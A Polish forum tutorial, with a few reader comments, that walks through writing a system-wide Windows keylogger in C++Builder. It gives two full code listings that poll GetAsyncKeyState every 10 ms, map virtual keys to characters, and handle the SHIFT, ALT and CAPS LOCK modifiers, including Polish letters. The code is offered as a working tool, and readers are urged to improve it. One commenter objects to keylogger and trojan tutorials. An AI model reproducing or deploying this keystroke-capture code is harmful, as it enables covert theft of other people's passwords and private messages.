Prosty i skuteczny KeyLogger dla Windows

Toff

Jak napisć dla Windows fajny, krótki, mały i skuteczny KeyLogger?
Wcale nie trzeba używać hook'ów i tym podobnych. Wystarczy stara dobra funkcja WinAPI GetAsyncKeyState(int);

Kod zaprezentowany poniżej szczytem fachowego kunsztu i dopracowania nie jest, ale swoje zalety ma.
Największą jego zaletą jest to, że w chwili nagle zaistniałej potrzeby napisałem go w 10 minut :)

Otóż jak podpowiada nam help do Win32, funkcja ta zwraca stan wywołanego w parametrze (po kodzie wirtualnym) klawisza. Dobiera się do chyba wszystkich przycisków klawiatury z myszą włącznie ;) Ale w ramach upraszczania zajmijmy się najbardziej podstawowym zastosowaniem - logowania klawiatury przy jej pomocy.

Co nam będzie potrzebne?
Na początek tablica i zmienna - globalne dla porządku:

short state;
short old_states[256];

Teraz uraczymy się komponentem Timer (wszystkie inne metody czasowego wywoływania kodu wskazane, mi jednak zależało na czasie kodowania).
Liczymy po prostu na to, że nikt nie pisze na klawiaturze szybciej niż +~- 7 znaków na sekunde, bo by się Timer wyłożył :) Z praktyki jednak wydaje się Timer być wystarczająco dobrym rozwiązaniem.

Ustawiamy mu interwał czasowy na 10msec i do zdarzenia OnTimer przypisujemy:

for(int i = 0; i < 256; i++) {
    state = GetAsyncKeyState(i);
    if( ((state << 8) != 0) && ((old_states[i] << 8) == 0) ) {
    	char type = MapVirtualKey(i, 2);
    	type = tolower(type);

        Memo1->Lines->Text = Memo1->Lines->Text + type;
    }
    old_states[i] = state;
}

Oczywiście zamiast zabawy z Memo1 można z tym char'em zrobić cokolwiek...

Ale po uruchomieniu zauważamy, że nie działa całkiem zadowalająco, a nawet całkiem lipnie, bo nie rozróżnia modyfikatorów (ALT, SHIFT) i wszystko co czyta to łacińskie litery i arabskie liczby :)

Cóż więc? Z tym też sobie poradzimy, przecież nazywamy się dumnie programistami, a problem nie wygląda tak znowu beznadziejnie...
Wystarczy w momencie zbierana znaków sprawdzać stan klawiszy SHIFT, ALT i CAPS-LOCK.

Tworzymy więc kolejne tablice globalne zawierające znaki z i bez modyfikatorów:

char alt_0[] = "zolcesaxn";
char alt_1[] = "żółćęśąźń";
char shift_0[] = "1234567890[]\\;',./-=";
char shift_1[] = "!@#$%^&*(){}|:\"<>?_+";
char shift_alpha_0[] = "żółćęśąźńabcdefghijklmnopqrstuvwxyz";
char shift_alpha_1[] = "ŻÓŁĆĘŚĄŹŃABCDEFGHIJKLMNOPQRSTUVWXYZ";

I teraz piszemy kod obsługi dla modyfikatorów, którego nie bedę jednak szczegółowo opisywał. Warto jednak zaznaczyć iż istotna jest kolejność wprowadzania modyfikatorów ze względu na przyjęty przeze mnie algorytm.

Takoż nowe, "ulpeszone" zdarzenie OnTimer wygląda następująco:

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
for(int i = 0; i < 256; i++) {
    state = GetAsyncKeyState(i);
    if( ((state << 8) != 0) && ((old_states[i] << 8) == 0) ) {
    	char type = MapVirtualKey(i, 2);

    	type = tolower(type);

        // ALT
        if(HIWORD(GetKeyState(VK_MENU)) != 0) {
        	int len = strlen(alt_0);
            for(unsigned short i = 0; i < len; i++) {
                if(type == alt_0[i]) {
                	type = alt_1[i];
                    break;
                }
            }
        }

        // CAPSLOCK
        if(GetKeyState(VK_CAPITAL) & 0x0001) {
        	type = toupper(type);
        }

        // SHIFT
        if(HIWORD(GetKeyState(VK_SHIFT)) != 0) {
	        // dla wszystkiego, co nie jest litera
        	int len = strlen(shift_0);
            for(unsigned short i = 0; i < len; i++) {
                if(type == shift_0[i]) {
                	type = shift_1[i];
                    break;
                }
            }

            // dla liter
            len = strlen(shift_alpha_0);
            for(unsigned short i = 0; i < len; i++) {
                if(type == shift_alpha_0[i]) {
                	type = shift_alpha_1[i];
                    break;
                } else if (type == shift_alpha_1[i]) {
                	type = shift_alpha_0[i];
                    break;
                }
            }
        }

        Memo1->Lines->Text = Memo1->Lines->Text + type;
    }
    old_states[i] = state;
}
}

I tym sposobem w 15 minut napisać można całkiem sprawny i skuteczny KeyLogger, chociaż jednak nie bez wad. Lecz do kolejnych modyfikacji i usprawnień kodu zachęcam już czytelnika.

6 komentarzy

Instytut Studiów Podatkowych, Internetowy Serwis Prawny, Instytut Spraw Publicznych, Internet Service Provider...

Jeśli to ostatnie to częściowo zgadłeś :P

Nagła potrzeba? Koleś z ISP?

Tak jakos art mi sie nie podoba, w sumie duza role odgrywaja tu moje uprzedzenia do pisania tutoriali o roznych keylogerach, trojanach itp.

Nie przypominam sobie funkcji WinAPI, która umożliwiałaby callback przy wywołaniu zdarzenia klawiatury poza focusem. Pozostają Hooki, które z założenia chciałem pominąć...

Ta, nie ma to jak while( 1 ) skoro sa zdarzenia, callbacki itp...

Z góry przepraszam za wszelkie niedociągniecia fomralne, ale na 4p.net nie byłem mniej~więcej od 2,5 roku, a wiele, wiele się w tym czasie zmieniło...